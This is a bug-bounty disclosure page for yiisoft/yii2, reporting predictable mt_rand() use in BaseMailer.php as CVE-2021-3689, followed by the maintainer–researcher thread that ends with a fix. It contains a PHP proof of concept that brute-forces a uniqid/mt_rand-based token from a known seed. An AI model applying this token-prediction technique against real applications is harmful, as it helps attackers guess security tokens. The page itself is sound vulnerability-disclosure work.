Use of Predictable Algorithm in Random Number Generator in yiisoft/yii2

0

Valid Reported on Jul 29th 2021

✍️ Description

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in security-sensitive context.
In this case the function that generates weak random numbers is `mt_rand()` in `BaseMailer.php` at `line 346`.

🦹 Proof of Concept

```
 <?php
echo PHP_EOL;

/**
 * Generate token to crack without leaking microtime
 */
mt_srand(1361723136.7);
$token = hash('sha512', uniqid(mt_rand()));

/**
 * Now crack the Token without the benefit of microsecond measurement
 * but remember we get seconds from HTTP Date header and seed for
 * mt_rand() using earlier attack scenario ;)
 */
$httpDateSeconds = time();
$bruteForcedSeed = 1361723136.7;
mt_srand($bruteForcedSeed);
$prefix = mt_rand();

/**
 * Increment HTTP Date by a few seconds to offset the possibility of
 * us crossing the second tick between uniqid() and time() calls.
 */
for ($j=$httpDateSeconds; $j < $httpDateSeconds+2; $j++) {
    for ($i=0; $i < 1000000; $i++) {
        /** Replicate uniqid() token generator in PHP */
        $guess = hash('sha512', sprintf('%s%8x%5x', $prefix, $j, $i));
        if ($token == $guess) {
            echo PHP_EOL, 'Actual Token: ', $token, PHP_EOL,
                'Forced Token: ', $guess, PHP_EOL;
            exit(0);
        }
        if (($i % 20000) == 0) {
            echo '~';
        }
    }
}
```

💥 Impact

The random number generator implemented by mt_rand() cannot withstand a cryptographic attack, it is easy for an attacker to guess the strings it generates.

Occurrences

BaseMailer.php L339-L347

References

- https://www.ambionics.io/blog/php-mt-rand-prediction
- https://cwe.mitre.org/data/definitions/338.html
- https://www.huntr.dev/bounties/1624909120370-w7corp/easywechat/

CVE
CVE-2021-3689
(Published)

Vulnerability Type
CWE-1241: Use of Predictable Algorithm in Random Number Generator

Severity

High (8.1)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Akshay Jain
@wr3nch0x1
unranked

This report was seen 559 times.

Z-Old a year ago — Admin

Hey Akshay, I've reached out to the yii2 team, and am waiting to hear back. Good job!

Z-Old a year ago — Admin

Hey Akshay, we are in contact with the maintainers. They have a few questions, so will invite them to the platform to ask you.

We have contacted a member of the yiisoft/yii2 team and are waiting to hear back a year ago

A yiisoft/yii2 maintainer a year ago — Maintainer

Thank you for your reports. These are quite unusual and interesting. Especially links.

Usage of mt_rand() in mailer doesn't seem to be an issue. We just get a file name to write an email to, that's not a token or something and even being guessed by an attacker it won't lead to any security issue.

CaptchaAction has more potential regarding exploiting it, there's, indeed, an impact that the captcha code could be predicted along with exposing PHP pid (not sure it has any use though).

How would you suggest fixing it? Switching to random_int() with a fallback for older PHP versions?

Akshay Jain a year ago — Researcher

Thank you for clarifications buddy.

Yes i do agree that CaptchaAction file is much more exploitable and logical regarding the security issue.

However, I also suggest to use random_int() as it is CSPRNG function. And CSPRNG is very much secure due to its cryptographic nature!

A yiisoft/yii2 maintainer a year ago — Maintainer

Understood. We support PHP 5.4+ though so have to come up with something for PHP versions lower than PHP 7 where random_int() was introduced.

A yiisoft/yii2 maintainer validated this vulnerability a year ago

Akshay Jain has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Akshay Jain a year ago — Researcher

You can also consider using openssl_random_pseudo_bytes()

Akshay Jain a year ago — Researcher

Also, Thankyou for the validation! Cheers!

Akshay Jain a year ago — Researcher

HI @maintainer can you please reply on first report too?

A yiisoft/yii2 maintainer a year ago — Maintainer

I don't have access to it :(

Akshay Jain a year ago Researcher

https://www.huntr.dev/bounties/55517f19-5c28-4db2-8b00-f78f841e8aba/ try accessing this please and let me know

Akshay Jain a year ago Researcher

Hi @Ziding, can you please help maintainer in this case!!

A yiisoft/yii2 maintainer a year ago Maintainer

Nope, have all the text blurred when following that link.

Jamie Slome a year ago Admin

@maintainer - you need to use the magic link that was provided to you via e-mail. This will allow you to view the entire contents of the report.

A yiisoft/yii2 maintainer a year ago Maintainer

I have a link for this issue but don't have a link for another one @Akshay Jain mentioned.

Jamie Slome a year ago Admin

Just sent the link to you again to your e-mail - @maintainer

A yiisoft/yii2 maintainer marked this as fixed with commit 13f27e a year ago

The fix bounty has been dropped ×

This vulnerability will not receive a CVE ×

Jamie Slome a year ago Admin

CVE-2021-3689 now published! 🎉

Sign in to join this conversation